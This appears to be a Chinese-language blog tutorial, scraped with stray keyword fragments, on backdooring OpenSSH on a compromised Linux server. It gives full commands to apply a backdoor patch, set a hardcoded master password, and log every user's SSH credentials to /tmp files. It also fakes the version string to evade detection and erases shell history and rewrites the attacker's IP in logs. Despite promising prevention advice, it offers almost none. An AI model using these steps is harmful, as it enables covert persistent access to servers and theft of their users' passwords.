Linux操做系統的密碼較難獲取。而不少Linux服務器都配置了Openssh服務,在獲取root權限的狀況下,linux
能夠經過修改或者更新OpenSSH代碼等方法,截取並保存其SSH登陸帳號密碼,甚至能夠留一個隱形的後門,shell
達到長期控制linux服務器的目的。在不少Linux系統被入侵後都會在系統中留後門,使用OpenSSH留後門是入侵者的慣用方式之一,OpenSSh後門比較難於檢測vim
那麼怎麼給添加OpenSSH後門以及防範後門呢bash
安裝依賴包服務器
[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel
準備安裝包ssh
[root@DaMoWang ~]# ssh -V OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013 [root@DaMoWang ~]# ls /opt/ openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是補丁文件
解壓測試
[root@DaMoWang ~]# cd /opt/ [root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz [root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz [root@DaMoWang opt]# ls openssh-5.9p1 openssh-5.9p1.patch openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
給openssh打補丁spa
[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1 [root@DaMoWang opt]# which patch /usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin) [root@DaMoWang opt]# yum install patch [root@DaMoWang opt]# cd /opt/openssh-5.9p1 [root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff # 打補丁就是修改替換原文件 patching file auth.c patching file auth-pam.c patching file auth-passwd.c patching file canohost.c patching file includes.h patching file log.c patching file servconf.c patching file sshconnect2.c patching file sshlogin.c patching file version.h
添加後門密碼操作系統
[root@DaMoWang openssh-5.9p1]# vim includes.h # 跳轉到配置文件末尾處 , 修改默認配置 #define ILOG "/tmp/ilog" # 記錄遠程登陸本機的用戶和密碼 #define OLOG "/tmp/olog" # 記錄本機遠程登陸到其餘主機的用戶和密碼 #define SECRETPW "apaajaboleh" # 後門密碼
修改版本號rest
[root@DaMoWang openssh-5.9p1]# vim version.h # 修改成當前OpenSSH的版本號 #define SSH_VERSION "OpenSSH_5.3" #define SSH_PORTABLE "p1"
編譯安裝
[root@DaMoWang openssh-5.9p1]# ./configure --prefix=/usr \ --sysconfdir=/etc/ssh \ --with-pam \ --with-kerberos5 \ && make && make install
能夠看出來 安裝的時候 , 已經把原有的ssh的全部命令所有替換 , 可是原有的配置文件並無被替換 , 這樣不容易被發現
重啓ssh服務 測試一下
[root@DaMoWang openssh-5.9p1]# service sshd restart 中止 sshd: [肯定] 正在啓動 sshd: [肯定] [root@DaMoWang openssh-5.9p1]# ssh -V OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
服務正常啓動 , 版本也與原版本一致
測試是否能劫持用戶密碼
首先測試遠程登陸本機
如今並無生成文件
用xshell遠程鏈接一下
用戶名和密碼被劫持 , 不單單是root用戶 , 全部遠程鏈接本機的用戶都會被記錄
測試後面密碼可否登陸本機
爲了看到效果 使用明文密碼登陸
鏈接之後 別留下腳印
[root@DaMoWang ~]# export HISTFILE=/dev/null [root@DaMoWang ~]# export HISTSIZE=0 [root@DaMoWang ~]# export HISTFILESIZE=0 [root@DaMoWang ~]# echo >/root/.bash_history # 這個是歷史命令的終極文件 不能刪除 , 若是原來有內容 , 不能清除 能夠是用sed替換 [root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history # 其餘訪問日誌也能夠用用sed替換ip , 瞞天過海